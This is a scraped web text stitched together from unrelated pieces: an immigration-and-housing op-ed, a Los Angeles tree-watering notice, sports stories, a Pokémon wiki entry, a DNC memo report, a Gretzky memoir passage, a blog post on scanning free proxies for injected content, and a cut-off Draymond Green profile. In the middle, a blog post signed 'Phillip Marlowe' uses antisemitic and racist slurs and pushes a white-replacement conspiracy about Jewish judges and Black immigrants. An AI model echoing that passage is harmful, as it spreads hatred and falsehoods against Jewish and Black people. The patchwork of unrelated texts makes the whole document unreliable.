That the new laws were barely veiled attacks against Chinese home-buying in particular was fairly shocking for the ultra-liberal city which, if anything, deserves the label ‘xenophilic’ rather than ‘xenophobic.’
As documented in one recent op-ed in Vancouver’s main newspaper, the city’s political leaders have actually long pleaded for ‘breathing room’ from the federal government, asking that they adjust immigration-levels downward for the sake of local renters and hopeful first-time homebuyers.
Looking back at the last three decades, University of British Columbia professor David Ley states that the correlation between immigration and home prices is very tight and not only in Vancouver but in Canada’s other major cities as well—Around three-quarters of all Canada’s 300,000 annual immigrant-intake goes to just three of the country’s metropolitan areas: Toronto, Montreal, and Vancouver. In his 2010 book on the subject, Millionaire Migrants, Professor Ley found that the connection was “unusually decisive” with a “positive correlation coefficient of 0.94 between Vancouver house prices and net international migration.”
There’s little reason to think Ley’s findings wouldn’t be replicated in the US as well. Like Canada, immigrants to the US tend to create concentrated enclaves with nearly half the million-plus we take in annually going to just five cities: New York, Los Angeles, Chicago, Miami, and Houston.
Meanwhile, numerous other immigration hot-spots around the world have been forced to recognize the house-inflation/immigration connection, including Sydney, London, Singapore, and Hong Kong. So why the conspiracy of silence on immigration-induced house inflation in this country? Professor Ley may have an idea.
As he explains in his book, in their “desire to soothe frictions over immigration”, Vancouver’s real estate industry clandestinely created an economic think-tank, the Laurier Institute, to “study” the immigration-impacts on housing. Falsely billed as “independent”, the think-tank published a series of reports which “found” that it wasn’t foreigners, but internal Canadian migrants, who were to blame for pushing up prices.
That conclusion, says Ley, was bogus and even among real estate brokers, he writes, the reports elicited laughter.
Looking back at the data, Ley found that the made-in-Canada argument was “conclusively denied by the wage-home price mismatch during this period.”
“Despite dramatically rising house prices”, he writes, “real median family income in metropolitan Vancouver actually fell by 3 percent between 1990 and 2000.”
In other words, the reason the city had become increasingly unaffordable, then as now, was immigration.
But still, Ley concludes, the reports “did significant ideological work” and achieved just what Big Business intended: to make an “end run around local resistance.”
As a result, he says, in Vancouver and cities like it, excessive immigration has created “an unbreachable affordability barrier for many families.”
There’s certainly a barrier against housing affordability for families here as well. Whether and to what extent it relates to our own reckless immigration policies has to be debated.
Ian Smith is an investigative associate at the Immigration Reform Law Institute, a public interest law firm working to defend the rights and interests of the American people from the negative effects of mass migration.
The notices are being distributed in areas where about 300 saplings have been planted in Elysian Park since last fall under a pilot program. The tiny trees were planted in what are called Land Life Cocoons, which help support the tree and force the roots deeper into the ground to tap into ground water. The cocoon also includes a circular basin, covered by mulch, that stores and supplies water to the young trees. According to the manufacturer, the saplings won’t have to be irrigated during the first year after they have been planted.
However, some folks think the trees could use some help – and water, which officials say is not a good idea. Apparently the unwanted tree watering began after a person began urging others to irrigate the trees, according to the Urban Forestry Division. Councilman Mitch O’Farrell, one of the program’s sponsors, said the tree lovers are doing more harm than good:
“These trees do not need additional water, in fact doing so could harm the process. Although it may be difficult to watch a sapling die, it is critical to learn from the survival rate of the cocoons planted for this pilot program to be effective.”
Park visitors are being advised against watering, touching or tampering with the trees and cocoons to monitor the results of the pilot program. If this approach proves successful, the pilot could go citywide to replenish the urban forest in a sustainable manner.
The Department of Recreation of Parks will post signs around the park asking people to not touch or water the trees. The signs will also have a QR code and a number to the Forestry Division within the Department of Recreation and Parks for more information. Those wanting to learn more can call at (213) 485-4826 or visit http://tinyurl.com/cocoonpilot.
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Eddie Izzard will attempt to run 27 marathons in 27 days through South Africa for Sport Relief, the BBC has announced.
It means the comic will, in total, try to run more than 700 miles in temperatures of up to 30 C.
The significance of the number 27 comes from the number of years Nelson Mandela spent in prison.
The anti-apartheid campaigner was President of South Africa from 1994 to 1999 before his death in 2013 aged 95.
Izzard said he was "delighted" to be taking on the challenge but added: "Of course, 27 marathons in 27 days is nothing compared to what Nelson Mandela did by serving 27 years in prison.
"He was a great soul and leaves a fantastic legacy for the world."
During his marathons, Izzard will explore the histories of South Africa and Nelson Mandela, as well as visiting communities, organisations and families that have all been helped by the work of Comic Relief and Sport Relief.
His journey is due to finish on 20 March when he arrives an the Union Buildings in Pretoria where Nelson Mandela gave his inaugural speech as the first democratically elected President of South Africa.
Izzard, 54, previously attempted a similar feat in South Africa in 2012, but had to pull out for health reasons.
He also completed 43 marathons in 51 days across the UK for Sport Relief in 2009, raising over £1.8m in the process.
Speaking about his past attempts, Izzard said: "I tried to do this four years ago and failed. This time I will succeed.
"But if I fail, I will come back again and again and again until I do succeed. Because that's what Nelson Mandela would have done."
The marathons will be covered on BBC Three, which is about to move from television to online.
Sport Relief raises money for disadvantaged people in some of the world's poorest communities.
Afterwards the Netherlands joined Spain as 3-0 team with a perfect 11-0 victory over Greece. Mike Bolsenbroek retired all 21 batters he faced in seven innings. He struck out ten. It was the first perfect game for the Dutch national team since 2003. On offense Gianision Boekhoudt, Hainley Statia and Yurendell de Caster hit home runs. Six runs in the second and four in the fourth had decided the game early.
In the evening the Czech Republic improved to 2-1, rebounding from Saturday’s loss to the Netherlands. They beat Croatia 13-2 in eight innings. Jakub Sladek went 2-for-4 with a home run and four RBI. Adam Hajtmar and Matej Hejma scored three times apiece. Jiri Marek ended the contest with a home run. Mario Manojlov went deep for Croatia.
Live Play by Play at www.baseballstats.eu
Official Tournament Website
Official Facebook Account of the Confederation of European Baseball
This article is incomplete.
Please feel free to edit this article to add missing information and complete it.
Reason: Generation VII info.
The Pokémon Global Link (Japanese: ポケモングローバルリンク Pokémon Global Link) is a multiplayer feature in Generation VII which is run using the Nintendo Wi-Fi Connection. It used to provide service to games of the previous generation, and is analogous to the Global Terminal in Generation IV.
In Pokémon Black and White, the option of connecting to the Global Link is activated with an item called the Dream Mist. This is obtained early in the game from a Munna. If the Dream Mist is given to Fennel, she will give away the C-Gear and activate the menu option that would allow the player to set up the Global Link.
The Generation V Global Link allowed players to enter the Pokémon Dream World where they could catch Pokémon otherwise not obtainable in Unova.
In Generation VI, despite the absence of the Pokémon Dream World, other features are introduced, such as the PokéMileage Club.
Website
Generation V
The Pokémon Global Link website after its April 2011 update
The Pokémon Global Link website after the July 2012 revamp
In the early days of the Black and White release, the website was temporarily closed because of traffic concerns. The site was originally set to be back up September 29, 2010, ten days after closing down, but this was moved to October 4. Due to maintenance the Pokémon Dream World did not open to the public until October 13.
To fix the site for the international release of Black and White, planned to be released March 30, 2011, the previously Japanese-only Global Link was disabled of certain features on certain dates. From March 18 to 22, no Pokémon could be obtained from Pokémon Dream World. From March 22 to March 30, Global Link, as well as Game Sync, was made unavailable. This however was extended due to the Tōhoku earthquake and tsunami. Despite delays, Play to Befriend a Pokémon!, a game that allowed players to obtain one of the Eeveelutions with their respective Hidden Abilities, was made available on March 28. On the other hand, Global Link itself again became available on April 12, 2011, which was also the premiere of the international versions of the Global Link.
In June 2012, the website underwent another revamp in both appearance and to accommodate compatibility with Pokémon Black 2 and White 2; it was down between June 5 and June 20. During this time, the Global Battle Union was inaccessible and the Game Sync function was inoperable.
Closure
Between October 1, 2013 to October 12, 2013, the Pokémon Global Link was closed for maintenance in preparations for Pokémon X and Y. Following this maintenance, users were temporarily unable to sign up for new accounts, add additional games to existing accounts and lost access to the demo. On December 10, 2013, players were no longer able to tuck in new Pokémon, but could still play with and awaken those already asleep until January 14, 2014. Once the deadline had been reached, the service was closed down and with it the ability for players to change their C-Gear skin, Pokémon Musical song, or Pokédex skin. Until the 20th May 2014, players who had yet to do so may still awaken their Pokémon.[1]
The GTS was not affected by this closure, except that the trade history became no longer viewable since it was only viewable on the website.. Random Matchup Rating Mode was shut down, although Free Mode remained available until May 20, 2014, when online support for Nintendo DS games were terminated.
Generation VI
The Generation VI version of the Pokémon Global Link launched on October 12, 2013. Players who registered on the Pokémon X and Y Global Link with the same username as on the Pokémon Black, White, Black 2 and White 2 Global Link until January 14, 2014 got a certain number of Poké Miles on the PokéMileage Club, depending on the quantity of Dream Points obtained on the other version of the website. This bonus was applied to all of the registered Generation VI games, without a split in the reward.
Closure
On November 1, 2016, the Global Link shut down to make room for the next generation. On July 26, 2016, the prices of everything in the PokéMileage shop were halved, and Ability Capsules were made available for 5,000 Poké Miles.[2]
Maintenance
The Global Link site undergoes routine maintenance every week. During maintenance all features of the website, as well as the in-game Game Sync, cannot be accessed; maintenance may interrupt those currently using Dream World. Despite this weekly maintenance, the site may undergo additional maintenance when the need rises. Prior to the site closing down to accommodate international versions of Black and White, maintenance was done every Tuesday from 4 p.m. to 8 p.m. JST. Prior to the site closing down to accommodate Black 2 and White 2, maintenance was done every Tuesday from 4 p.m. to 11 p.m. JST. Currently, the schedule for maintenance is as follows, according to the :
Japan and Korea: Tuesdays 4 p.m. to 10 p.m. JST/KST
US: Mondays 8 p.m. to midnight EDT
UK: Tuesdays 7 a.m. to Wednesdays 1 a.m. UTC
Australia: Tuesdays 3 p.m. to Wednesdays 9 p.m. AWST
Occasionally, the amount of time for the maintenance may change. In addition, players who use Pokémon Trainer Club accounts may not be able to access Global Link if the Trainer Club is under maintenance (i.e. if Trainer Club is under maintenance, players may not access the English-language Global Link, but they may access the Japanese-language Global Link).
Generation VII Global link features
This section is incomplete.
Please feel free to edit this section to add missing information and complete it.
Generation VI Global link features
PokéMileage Club
Main article: PokéMileage Club
The PokéMileage Club is an online item shop where players can use Poké Miles to purchase items that will be transferred to their game the next time they use Game Sync. There are also attractions, games players may spend Poké Miles on to play and win items.
Rating Battles
The Rating Battles section of the Global Link shows the Trainer rankings and Pokémon rankings for different types of battles or over all types battles. Clicking a player shows their record, while clicking a Pokémon shows various statistics for it, including its top moves, Abilities, Natures, held items, and teammates; its top moves used to win and the top Pokémon it beat; and the top moves used to beat it and the top Pokémon that beat it.
Online competitions
Players may sign up to participate in special online competitions using a registered game. Online competitions may have special rules and regulations, and all players start the competition with the same Rating. For more information, see the Global Link's online manual.
The online competitions section of the Global Link shows current and past competitions. Clicking on one of the past competitions will allow the user to view details of that competition, including the regulations it used, its final rankings, and statistics about the Pokémon used, just like in the Rating Battles section.
Profile
The Profile displays information about the user's activity on the Global Link and, to a limited extent, in their game. If the user allows it in their privacy settings, other people may be able to view the user's Profile. Privacy settings can be customized separately for separate pages of the Profile, and even for different registered games. If their privacy setting is set to "Everyone", the user will also be able to share aspects of their Profile on social networks.
Some aspects of the profile may take some time to update after a game is synced.
Game Info
This page lists the user's: Game Sync ID, time of the most recent Game Sync, 3DS location setting, number of Pokémon in the Pokédex, play time, date adventure was begun and (if applicable) date the Hall of Fame was first entered, number of Badges obtained, and game message. The Game Sync ID and play time cannot be viewed by other people.
Logbook
The logbook is a timeline that tracks events in-game and happenings on the Global Link website. Every time the player syncs their game, the logbook will show information about the achievement of important milestones in the main story or about other noteworthy happenings, such as new Medals or photos, prizes won in the lottery, and Eggs received from the Day Care. The logbook may also show information concerning the user's activity on the Global Link, such as participation in an online competition.
A user may delete an entry in their own timeline, but this only affects the Logbook. For example, deleting an entry about a new Medal does not delete that Medal from the Medals page.
PokéMileage Club
This page keeps track of the user's Poké Mile usage history in the PokéMileage Club, any items yet to be sent to the selected game using Game Sync, and any items previously sent to the game. This page of the Profile is not visible to other people.
Rating Battles
This page displays the user's record for the current or past seasons of Rating Battles and records of recent matches.
Online competitions
This page displays records of the user's online competition matches and a history of the user's participation in online competitions.
Global Trade Station
This page displays records of Pokémon the user has traded over the Global Trade Station. It also displays the Pokémon the user currently has deposited (if any) and the Pokémon they want for it.
Medals
This page displays a list of Medals the player has earned for actions in the game or on the Global Link website.
Photos
This page is where the user can view photos uploaded from their game. When the user syncs their game, the most recently taken photo is uploaded to the Global Link. At first, the user may only store 12 photos, but starting at 20 Medals, the user will be able to store an extra 12 photos for every 10 extra Medals, up to a maximum of 60 photos at 50 Medals. If a new photo is uploaded when the user already has the maximum number of photos stored, the oldest photo will be overwritten. The user may lock certain photos to prevent them from being overwritten, but at least one photo must always remain unlocked.
Friend List
This page displays the user's roster of Friends, Acquaintances, and Favorites from the Player Search System.
Super-Secret Base OR AS
This page displays information about the user's Super-Secret Base, including the name and location of the base, the Pokémon on the user's team and the battling format in the base, and a QR Code others can use to access the user's Super-Secret Base.
Generation V Global Link features
Global Link prior to the site changes
Pokémon Dream World
Main article: Pokémon Dream World
The Pokémon Dream World allowed players to befriend a Pokémon, as well as find items, using a Pokémon they sent using Game Sync by playing various mini-games, as well as exploring the Island of Dreams.
Global Battle Union
Main article: Global Battle Union
The Global Battle Union or GBU recorded statistics obtained over the Random Matchup feature found in Black and White. Participating players were given ranks that were tallied every season. The GBU also hosted tournaments through the Random Matchup feature.
Profile
The profile allowed players to see various pieces of information, such as the most-recent six Pokémon they had befriended on Dream World, the Pokémon they had sent via Game Sync, their neighbors on Dream World, the number of Dream Points they had, the Badges they had earned in the game that was synced to the Global Link website, the people that had been traded with over the GTS, and people registered in their Pal Pad. They could also edit their avatars and input a code corresponding to their favorite Battle Video.
Accordingly, per account, a player could only have ten Dream Pals on their Dream Pal Roster. This total counted toward registered neighbors as well as pending requests the player had sent. The received requests made by other players did not count toward this number. While the total was ten, a player could not accept a request made while inside the Dream World, unless either a Dream Pal or a Dream Pal request was deleted from the roster on the Global Link profile, to a number less than ten. The Dream World site referred to this as "organizing," as requests can only be accepted while playing in the Dream World.
Customize
This option allowed players to customize certain aspects of Pokémon Black, White, Black 2, or White 2. These included the Pokédex and C-Gear skins, as well as Pokémon Musical shows. These customizations could be set in the game after using the Game Sync feature to wake up a Pokémon from Dream World.
E-Z Mail
The E-Z Mail option let a user send and receive messages called E-Z Mail with Game and Dream Pals over Pokémon Global Link. The letters themselves were preconstructed, with users only able to fill in the blanks.
Promotions
Obtaining the Victini Doll
Main article: List of Pokémon Global Link promotions
The Pokémon Global Link occasionally had promotions players could participate in for a certain period of time. Promotions granted players access to various things. These included Pokémon, Décor, and catalogues obtainable at the Pokémon Dream world, C-Gear skins, Musical shows, and Pokédex skins accessible through the Customization part of the site, as well as special homes players could access in the Dream World. Promotions were usually done in collaboration with other parts of the Pokémon franchise, such as merchandise like books, the TCG, and the anime.
Some of these had passwords players had to input before being able to participate in the promotions. Passwords could be of one-time use, requiring players to purchase merchandise.
Trivia
The English, German, French, Spanish, and Italian websites can be used regardless of the language of the game.
The art style used for the Pokémon Global Link is not exclusive to the site; it has been used in various other parts of the franchise, including Pokémon Center stores and Pokémon Channel, before the Global Link even emerged.
In other languages
Language Title Chinese Cantonese 寶可夢全球連結 Pokémon Chyùhnkàuh Lìhngit Mandarin 寶可夢全球連結 Pokémon Quánqiú Liánjié *
宝可梦全球连接 Pokémon Quánqiú Liánjiē * French Pokémon Global Link German Pokémon Global Link Italian Pokémon Global Link Korean 포켓몬 글로벌 링크 Pokémon Global Link Spanish Pokémon Global Link
Meanwhile this week, U.S. Immigration Judge Leonard I. Shapiro in Boston (no photo found on the Internet — probably because he looks so Jewy), ruled in favor of an illegal alien from Kenya, Onyango “Omar” Obama (upper right). Omar is the uncle to the commie mulatto creep still stinking up the White House. The Jew judge told him after issuing the ruling: “Welcome to America.” So funny, Jew.
Obama says he never knew his uncle, which is utter BS, since Obama stayed with him for three weeks at some point during his time at Harvard (maybe after a homo lover spat). Omar is his father’s brother — a coal-black, drunken whoremonger, who knocked up Obama’s lefty mother in Hawaii — making the foolish teenager chase him halfway across the planet, before pooping out his mulatto holiness in a Kenyan hospital because the airline would not let her board a plane in her advanced stage of pregnancy.
Like Stanley Ann Dunham’s babby daddy, Omar came here on a student visa in 1963, and probably soon grunted to himself: “America is a hell of a lot nicer than that stinking crap hole I came from — I’ll just make myself comfortable here while mooching off silly White people for the rest of my life.” Obama’s aunt, Zeituni Onyango (left), slipped into America in 2000 for free health care, and was granted permanent legal residency in 2010, by the exact same Boston Jewish judge. She lives in public housing and gets healthy disability checks, even though the freeloader never put one dime into the system her whole filthy life.
Omar was ordered deported in 1986, again in 1989 and finally lost his appeals in 1992 (he should have been bundled up and put back on the plane the day he arrived). In 2011, he was arrested on a DUI and reportedly told arresting officers: “I think I will call the White House.” Yeah, I’m sure he did, too, because he soon got his driver’s license back.
According to Breitbart.com, the Obama administration stonewalled and misled those few independent reporters interested, while backroom dealing with ICE allowed Omar to reopen his 1992 case (something that never happens unless maybe you’re related to a prez). Funny, how your mainstream TV outlets stayed mostly silent on the whole thing, even the so-called “conservative” FOX news — so “fair and balanced” — hardly said a word.
Of course, getting a Jew judge to hear the case was a must. All these stinking Jews want more non-Whites into our lands as possible. Hell, it was a foregone conclusion with him as a judge.
Meanwhile, sacred Israel is trying to get laws passed so they can deport “infiltrators.” This is what the Israelis call illegal alien Africans from places like Darfur in the Sudan, who somehow made it to the “promised land” (a few have even been shot dead crossing the border). Don’t hold your breath waiting for Hollywood actors like George Clooney to say anything.
The Israelis already have waiting 16,000 person real-life concentration camps built in the middle of the Negev desert (called an “open center” by the Orwellian Jews). They also have laws keeping “infiltrators” from sending funds abroad (illegals drain the US economy of tens of billions per year, helping to keep Mexico afloat). This whole thing has got the Jew hypocrites in Israel flummoxed up a bit, since Israel’s supreme court recently put a stop to the planned mass round-ups of African “swartzes.” But don’t worry Likudniks, new laws are on the way.
And we know Obama hates White people. No doubt, whatsoever. Obama and the Jew media are itching to legalize the illegals — thinking they are putting the final nails into the coffin of the Republican party and maybe even the White race itself.
The commie Jews and lefty multicults in control of the media are also working extra hard to brainwash more White people nowadays. It’s grown to quite noticeable levels, with non-stop media making out how bad the poor blacks still have it, the Jim Crow business from way back when and how evil the Nazis treated the Jews 65 years ago.
How much more of this total BS are we going to have to listen to? Never ends, does it?
Folks, what you have going on here, is a bunch of subversive White-hating Jews doing everything they can under the radar to turn us European Whites into a minority in our own lands, while militant, big-mouthed blacks like “Reverend” Al Sharpton simply get rich, loving all the pimp attention along the way.
White people will continue getting the shaft, maybe even literally stuck in the gut with a real one by violent black immigrants like the criminal Somalis or even our own wonderful “natives,” as the lousy GD Jews turn our nations into filthy Third World hell-holes right in front of our faces.
Jew judges, like Leonard Shapiro here, will also continue the assault on White America, because they know if anyone says JACK, they’ll just call them “White supremacists” or “Nazis.”
See how diabolical the “PC” straight jacket has been to the White race?
— Phillip Marlowe
A deal between the cash-strapped Democratic National Committee and Hillary Clinton's campaign allowed the campaign to influence hiring and spending decisions only during the general election, and not in the primaries, NBC News reported Friday.
The 2015 memo said that for Hillary for America's (HFA) help in fundraising, the campaign would be "consulted and have joint authority over strategic decisions over the staffing, budget, expenditures, and general election related communications, data, technology, analytics, and research," according to NBC News. Clinton's campaign agreed to make a payment of $1.2 million to the party and would also provide a monthly allowance, the report continued.
The memo comes amid accusations made by former interim DNC chair Donna Brazile, who claims that the party tilted the presidential nomination process to favor Clinton, and shunned Sen. Bernie Sanders. Brazile, who is publishing a book about the alleged grievances, said that although the agreement was not illegal, it "sure looked unethical."
"If the fight had been fair, one campaign would not have control of the party before the voters had decided which one they wanted to lead," Brazile said. "This was not a criminal act, but as I saw it, it compromised the party's integrity."
In some cases, the DNC would have the final approval authority in the hiring of a staff member, but the decision would have to be made "between candidates acceptable to HFA," according to the agreement. One example included the hiring of a communications director from "one of two candidates previously identified as acceptable to HFA."
The memo also stated that the agreement was applicable only during general election and not the primaries, and also mentioned that the party could "enter into similar agreements with other candidates," NBC News reported.
When I was fourteen or fifteen years old, I'd head down to Canadian National Exhibition Stadium in Toronto, pay a buck, go to a Blue Jays game and then walk around the Hockey Hall of Fame just staring at everything for hours. My friends used to say, "You're going to the Hall of Fame again?"
I'd say, "Yeah."
They'd say, "Same stuff there as last week."
That was the point. I'd look at Howie Morenz's stick and think, "How did he score so much with that stick?" It was so straight and heavy. On some of the old sticks you could even see the nail that joined the blade to the shaft. As a kid, I couldn't get over how different everything looked from the equipment that I was using at the time.
By the time I was playing in the NHL, I was using the best sticks in the world. But today kids look at my sticks and wonder how we ever played the game with lumber like that. Put it this way: you can pick up a goalie stick today and my wooden Titan would've been twice as heavy. The two guys with the stiffest and heaviest sticks in the league in my era were Mike Bossy and me. In fact, he and I used pretty much the same stick for a long time. We might not have had the hardest shots, but we both knew exactly where the puck was going to go. Fans will probably remember the way Bossy and Guy Lafleur would wind up and take a slap shot off the rush at full speed. I used to do the same thing. With a stick that stiff, you needed that windup to get a heavy shot.
With today's whippier sticks, guys can load up quickly and shoot off the back foot, which takes a lot less time. In my experience, the game changed considerably between 1987 and 1997 in that there was less time to get off a slap shot with a full windup. Mark Messier was one of the first guys to shoot off the back foot to catch a goalie napping. I remember Owen Nolan did the same thing in the 1997 All-Star Game-though he wasn't trying to catch Dominik Hasek napping. He actually pointed at the corner he was aiming at and still beat Hasek. But those are big, strong guys. Now everyone is using a whippy stick and using the release to fool goalies into misreading the angle. A guy like Phil Kessel uses his stick like a slingshot. The only time you see a slap shot now pretty much is when a defenseman has time to tee one up from the point. And it's no surprise that the guys with the hardest shots use the stiffest sticks. Shea Weber, Zdeno Chara, and Brent Burns use sticks that a lot of guys couldn't even bend.
In 1989, Jim Easton, who was a good friend of mine, came to me and said, "Wayne, we have this stick for you. It's a product you're going to love. We were able to make the stiffness that you like, but it's only a third of the weight." It was a two-piece stick with an aluminum shaft. I loved it. It was still very stiff-a slap shot seemed to explode off the blade. But it was so light that all the weight was in the blade, so you could feel the puck better.
I thought, "Okay. That sounds good." Because, believe it or not, as a kid I always used a light stick. My dad always said, "You gotta have a light stick."
The other thing I did with my wooden sticks was round the shaft so it was more like a lacrosse stick. Paul Coffey did the same thing. It made it easier to roll your hands down the stick and it was much more comfortable. So Easton made me this stick that was stiff and had a rounded shaft but was much lighter. The first time I used it, I thought, "Wow! Where has this been all my life?"
In L.A. our equipment manager Peter Millar taped my sticks. A lot of people have a tape knob, but I liked a pre-cut knob on top. Every stick was dated. So if you think you've got one of my game sticks, have a look at the end of the stick and there'll be a date on it written with a Sharpie. By then I was using the Easton aluminum two-piece, so Peter would tape up the blade, heat it up, put it in the shaft, and then add the knob and mark the date.
Very few guys used an aluminum two-piece at the time, so when I started using the Easton it kind of changed hockey for a while, because everybody followed. I never used the composite one-piece, but players today swear by it. These days if you showed them an aluminum two-piece, they would look at you and say, "What the heck is that?" And I don't blame them because that's the way I felt back when I was looking at Howie Morenz's sticks when I was a kid.
Obviously, Howie Morenz was before my time. He was before Gordie Howe's time. In fact, when Maurice Richard started tearing up the league, Morenz was the guy fans compared him to. But while I had never seen him play, looking at his stick, I had some sense of what the game would have been like when he played. I could easily imagine how the puck would feel on the blade of a heavy stick like that. The sticks guys used back then were a lot shorter, so I could see that they would have had to play with their hands closer together. You would have the puck on a string with a short stick like that, and a wrist shot would be tough for a goalie to read coming off the blade. But you would really have to keep your head up.
You can see how just looking at those old sticks would fire up a kid's imagination. Peering through the glass of the Hall of Fame, I could see how the game was played. It would have been incredibly tough, but it would also have been an elegant game built around puck control and shrewdly and spontaneously exploiting opportunities. That's how Howie Morenz played the game anyway.
In 1950, the Canadian Press polled sportswriters across the country. They named Morenz the greatest hockey player of the first half of the century. Because so few of us have seen him play, it's not easy to understand what an achievement that is. But put it this way-look at the guys who would top anyone's list of the best players of the second half of the century. Howe, Richard, Hull, Orr, Lafleur, Lemieux. To be the best of the second half of the century, you would have to be better than all of them. Anyone who was the best of the first half is in that league.
[UPDATE 2] I've expanded my analysis to over 25,000 proxies. Here are my findings
Since my post from 2013 Why are free proxies free? became popular on Reddit and HN I thought I'd do a follow-up post where I try to find proxies on the web who use the technique I was describing in my post.
So I wrote a dead simple script (actually a PHP function) which requests Javascript files from various locations and checks them for altered content.
If you don't care about the code, jump down to the actual scanning
I'm serious about "dead simple" because this is the whole function:
/**************************************************************************/ /* scanProxy function by Christian Haschek christian@haschek.at */ /* It's intended to be used with php5-cli .. don't put it on a web server */ /* */ /* Requests a specific file ($url) via a proxy ($proxy) */ /* if first parameter is set to false it will retrieve */ /* $url without a proxy. CURL extension for PHP is required. */ /* */ /* @param $proxy (string) is the proxy server used (eg 127.0.0.1:8123) */ /* @param $url (string) is the URL of the requested file or site */ /* @param $socks (bool) true: SOCKS proxy, false: HTTP proxy */ /* @param $timeout (int) timeout for the request in seconds */ /* @return (string) the content of requested url */ /**************************************************************************/ function scanProxy($proxy,$url,$socks=true,$timeout=10) { $ch = curl_init($url); $headers["User-Agent"] = "Proxyscanner/1.0"; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_HEADER, 0); //we don't need headers in our output curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,$timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //return output as string $proxytype = ($socks?CURLPROXY_SOCKS5:CURLPROXY_HTTP); //socks or http proxy? if($proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_PROXYTYPE, $proxytype); } $out = curl_exec($ch); curl_close($ch); return trim($out); }
If you want the actual and complete script I was using for the scanning, you can find it here. I don't provide you with a proxy list but it shouldn't be hard to get one.
I am currently developing an open source web service Proxy Check which is based on this function. On the site you will be able to test proxies you've found on the web. I plan on releasing it in the next days/weeks.
All you have to do is pass it the proxy, the URL of the file/script/image/page you want to check, specify if the proxy is SOCKS or HTTP and it will return you the data. If you put false for a proxy it will not use any proxy. You can use that to gather reference data.
So a simple use case would be:
//requesting a JS file from this blog $proxy_data = scanProxy('127.0.0.1:9050','https://blog.haschek.at/js/blog.js'); //requesting reference data so we can check if something is altered $reference_data = scanProxy(false,'https://blog.haschek.at/js/blog.js'); if(($proxy_data!=$reference_data) && $reference_data) //if the data is different but the proxy has sent something echo "[!] Proxy modified the content!
"; else if(!$reference_data) echo "[-] Proxy is down
"; else echo "[+] Proxy did not modify the content
You can do all sorts of analytics with this function
Check if a proxy hides your IP by requesting http://ip.haschek.at which will print out your IP and you check with reference data if it's the same as your public IP
Check if a proxy also tunnels HTTPS traffic. If not it might be because the owner of the server wants only clear text so they can extract data from it
Check if a proxy is adding anything to static websites (eg: ads)
Let's test 443 free proxies
I harvested proxies from various sources but I found all links to these sites via Google
What are we checking for?
Is HTTPS allowed?
Is JS modified?
Are static websites modified?
Will it hide my IP?
The results
Test Result Tested 443 (100%) Online 199 (44,9%) Offline 244 (55,1%) No HTTPS 157 (79%) Modified JS 17 (8.5%) Modified HTML 33 (16.6%) IP not hidden 0 (0%) Not modifying content 149 (75%)
So 75% of all proxies are safe, right?
Just because a proxy doesn't actively modify your content does not mean it's safe to use. The only way to use a free proxy and be somewhat safe is if it's HTTPS capable and you're only surfing on HTTPS enforced sites.
Only 21% proxies were allowing HTTPS traffic
Aftermath
Free proxy servers on the web tend to be offline, no surprise there but I didn't expect so many proxies to ban HTTPS traffic. It could be because they want you to use HTTP so they can analyze your traffic and steal your logins .
Only 17 of 199 (8.5%) of the proxies modified JS and most of them were to inject ads to the client. But two of them were just error messages or web filter warnings.
By day, Draymond Green’s mother is a campus patrol officer at the local middle school. On this night, she was on top of her game as one of the Warriors’ most boisterous fans.
“This game is irritating,” she said, letting everyone within earshot know what she thought of the Warriors’ sluggish start against the Los Angeles Lakers before delivering the punch line: “This game is making my knee hurt.”
She laughed, and the family and friends surrounding her in the restaurant howled.
“My knee hurt,” Babers-Green said. “My head hurt.”
She cracked a smile.
Life is good for Babers-Green and her son, who will play in his home state against the Detroit Pistons on Saturday. After he won an NBA championship and was rewarded in the offseason with an $82 million contract, Green has emerged into a triple-double machine and potential All-Star game starter.
Walks the talk
Green is becoming a household name and backing up all the trash talk he does on the court. Asked recently if he had any role models in expressing supreme confidence in interviews, Green named Muhammad Ali, Mike Tyson, Kobe Bryant and Rasheed Wallace.
“And I grew up in the house of Mary Babers,” Green added.
When it comes to where Green got his outspoken personality, look no further than his 47-year-old, social media-savvy mother, who tweets in between yelling at the television.
“I used to tell her all the time, ‘I bet you they can’t hear you.’ She’d get mad at me,” LaToya Babers, Green’s sister, said smiling.
After the Lakers scored, Babers-Green exclaimed, “Letting this little bum … what’s his name? Is that Swaggy P?”
Told that player wasn’t Nick Young, she replied, “I don’t know him. Don’t care.
“I hate when they let sorry teams stick around. Blow ’em out.”
Babers-Green has more than 11,000 followers of her Twitter account, which is sometimes just as unfiltered.
One follower mailed her the DubNation shirt she wore Thursday as she fired off her one-liners at Buffalo Wild Wings. She had invited Facebook friends to show up to watch the game with her — and have fun talking trash on social media while doing so.
“Let’s get the rust out. #donotgetsentimental,” she typed in her phone as the Warriors struggled at the start of a game in which Bryant was playing for the last time in Oakland.
“Okay Dray if you ain’t going to play…ah take a seat! LETS GO!” she tweeted after her son clanked a 3-point attempt that would have given the Warriors the lead in the second quarter.
Babers-Green insists she’s not lying when she says she blocks about a hundred Twitter users per day because they irritate her. She scrolled through her phone to show a Facebook thread in which she defended her son when others ridiculed the idea he could be an MVP candidate.
“You know what I found out? That a lot of people talk basketball, but a lot of people don’t know what the hell they’re talking about,” Babers-Green said.
The 5-foot-11 Babers-Green grew up playing basketball herself but rarely could get along with coaches and stick it out on teams.
“I had the worst attitude ever,” she said. “I was tough. I’d grab the ball, then go. I got the rebound, and pushed it. Draymond passes. I didn’t pass.”
Encouraged to speak
Babers-Green empowered her children to speak their minds.
“One thing I always allowed my kids to do is be real … to tell me the truth,” she said. “If there’s something I’m doing that you disagree with or that you didn’t like, tell me. That’s how we solve our problems. Anything that was irritating them, they got to talk about it. My kids were free. We had an open relationship. They didn’t have to fear anything.”
Green, the youngest of his mother’s three children, did just that and expressed his feelings on the court as well.
Torrian Harris, Green’s brother, recalled a childhood pickup game when they played on opposing teams. Green became so upset with his older teammates about not being able to touch the ball that when he finally got it, he tossed it to Harris on purpose.
Games of one-on-one in the backyard with Green could turn into spirited arguments.
“It was like, ‘No, you fouled. No, you traveled. No, you double-dribbled,’ ” Harris said. “We were there all night. Played till you can’t see the rims. He always wanted to win.”
Hardworking ways
